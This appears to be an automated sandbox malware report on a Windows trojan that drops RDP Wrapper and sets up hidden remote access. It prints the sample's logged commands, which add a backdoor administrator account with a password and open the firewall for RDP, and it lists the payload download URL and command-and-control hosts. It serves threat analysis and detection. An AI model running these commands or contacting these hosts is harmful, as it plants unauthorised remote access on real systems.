Source: Amcache.hve.27.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.27.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.27.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.27.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.27.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.27.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.27.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.27.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.27.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.27.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.27.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.27.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.27.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.27.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.27.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.27.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\drivers\tsusbhub.sys

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user RDPUser_217d5074 DUF6g)aA2aiB /add	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_217d5074 DUF6g)aA2aiB /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_217d5074 DUF6g)aA2aiB /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_217d5074 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_217d5074 /add	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	3_2_004093C0
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00408908
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	3_2_00412C4A
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	3_2_00412C4C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	3_2_00412C98

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_00411154 GetLocalTime,

3_2_00411154

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_00414698 GetVersionExW,

3_2_00414698

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Source: Amcache.hve.27.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.27.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.27.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.27.dr	Binary or memory string: MsMpEng.exe

Remote Access Functionality

Allows multiple concurrent remote connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\Licensing Core EnableConcurrentSessions

Jump to behavior

Enables remote desktop connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fDenyTSConnections

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 LSASS Driver	1 LSASS Driver	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	2 Remote Desktop Protocol	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Service Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Create Account	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Windows Service	21 Windows Service	1 Timestomp	NTDS	27 System Information Discovery	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Masquerading	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	45%	ReversingLabs	Win32.Trojan.Generic
SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	58%	Virustotal		Browse
SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	100%	Joe Sandbox ML
C:\Program Files\RDP Wrapper\rdpwrap.dll	54%	ReversingLabs	Win64.PUA.RDPWrapper
C:\Program Files\RDP Wrapper\rdpwrap.dll	57%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	68%	ReversingLabs	Win32.PUA.RDPWrap
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	78%	Virustotal		Browse
C:\Windows\System32\rfxvmt.dll	0%	ReversingLabs
C:\Windows\System32\rfxvmt.dll	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ipify.org	0%	Virustotal		Browse
yalubluseks.eu	12%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	23%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://stascorp.com/load/1-1-0-62	1%	Virustotal		Browse
http://www.apache.org/licenses/	0%	Virustotal		Browse
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU	0%	Virustotal		Browse
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini	2%	Virustotal		Browse
https://yalubluseks.eu/get_rdp.php	2%	Virustotal		Browse
http://147.45.44.104	21%	Virustotal		Browse
http://api.ipify.org	0%	Virustotal		Browse
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exeP	20%	Virustotal		Browse
https://yalubluseks.eu	3%	Virustotal		Browse
http://api.ipify.org/	0%	Virustotal		Browse
http://yalubluseks.eu	12%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false	0%, Virustotal, Browse	unknown
yalubluseks.eu	172.67.140.92	true	false	12%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	false	23%, Virustotal, Browse	unknown
http://api.ipify.org/	false	0%, Virustotal, Browse	unknown
https://yalubluseks.eu/get_rdp.php	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://stascorp.com/load/1-1-0-62	RDPWInst.exe, RDPWInst.exe, 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	false	1%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0	RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://yalubluseks.eud	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://api.ipify.orgd	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000307D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://stascorp.comDVarFileInfo$	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000304A000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.3.dr	false		unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU	RDPWInst.exe, 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://www.apache.org/licenses/	RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	false	0%, Virustotal, Browse	unknown
https://yalubluseks.eu/get_rdp.phpd	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini	RDPWInst.exe	false	2%, Virustotal, Browse	unknown
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exeP	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	false	20%, Virustotal, Browse	unknown
http://upx.sf.net	Amcache.hve.27.dr	false	URL Reputation: safe	unknown
http://147.45.44.104	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	false	21%, Virustotal, Browse	unknown
https://yalubluseks.eu	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	true	3%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://yalubluseks.eu	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	true	12%, Virustotal, Browse	unknown
http://api.ipify.org	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.67.140.92	yalubluseks.eu	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528587
Start date and time:	2024-10-08 03:30:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@29/11@2/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 77 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Execution Graph export aborted for target SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, PID 6468 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
147.45.44.104	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	http://hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe#xin	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse	nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	104.26.12.205
	Ref#0503711.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	8ID0109FLT24PO92CD-R.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	shipping.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	QUOTATIONS#08673.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	MAVI VATAN - VSL's DETAILS.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	http://pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html	Get hash	malicious	Unknown	Browse	172.67.74.152
	New order.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://netflix.dittmedlemskap.com/	Get hash	malicious	Unknown	Browse	172.67.74.152
yalubluseks.eu	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	file.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	172.67.140.92
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.21.54.163
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	file.exe	Get hash	malicious	Unknown	Browse	172.67.140.92

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.DownLoader47.43340.27469.30352.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	2ngxhElaud.exe	Get hash	malicious	Xmrig	Browse	172.67.173.168
	copyright_infringement_evidence_1.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	Copyright_Infringement_Evidence.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	172.67.159.186
FREE-NET-ASFREEnetEU	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe#xin	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	147.45.116.5
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	147.45.116.5
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	147.45.116.5
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	147.45.116.5
CLOUDFLARENETUS	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.DownLoader47.43340.27469.30352.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	2ngxhElaud.exe	Get hash	malicious	Xmrig	Browse	172.67.173.168
	copyright_infringement_evidence_1.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	Copyright_Infringement_Evidence.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	172.67.159.186

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	172.67.140.92
	2ngxhElaud.exe	Get hash	malicious	Xmrig	Browse	172.67.140.92
	https://Vv.ndlevesio.com/vrbU/	Get hash	malicious	Unknown	Browse	172.67.140.92
	x2Yi9Hr77a.exe	Get hash	malicious	XWorm	Browse	172.67.140.92
	file.exe	Get hash	malicious	Xmrig	Browse	172.67.140.92
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	172.67.140.92
	STlUEqhwpx.exe	Get hash	malicious	Quasar	Browse	172.67.140.92
	EUYIlr7uUX.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.140.92
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.67.140.92

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files\RDP Wrapper\rdpwrap.dll	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	116736
Entropy (8bit):	5.884975745255681
Encrypted:	false
SSDEEP:	3072:m3zxbyHM+TstVfFyov7je9LBMMmMJDOvYYVs:oMjTiVw2ve9LBMMpJsT
MD5:	461ADE40B800AE80A40985594E1AC236
SHA1:	B3892EEF846C044A2B0785D54A432B3E93A968C8
SHA-256:	798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4
SHA-512:	421F9060C4B61FA6F4074508602A2639209032FD5DF5BFC702A159E3BAD5479684CCB3F6E02F3E38FB8DB53839CF3F41FE58A3ACAD6EC1199A48DC333B2D8A26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 57%, Browse
Joe Sandbox View:	Filename: hloRQZmlfg.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.rB/.!B/.!B/.!.~.!j/.!.~.!&/.!.~3!H/.!..'!G/.!B/.!./.!O}.!F/.!O}0!C/.!O}7!C/.!O}2!C/.!RichB/.!................PE..d...Z..T.........." .................Q....................................... ............`.........................................0...l.......<...................................................................`...p............ ...............................text............................... ..`.rdata..<.... ......................@..@.data....=..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Program Files\RDP Wrapper\rdpwrap.ini

Download File

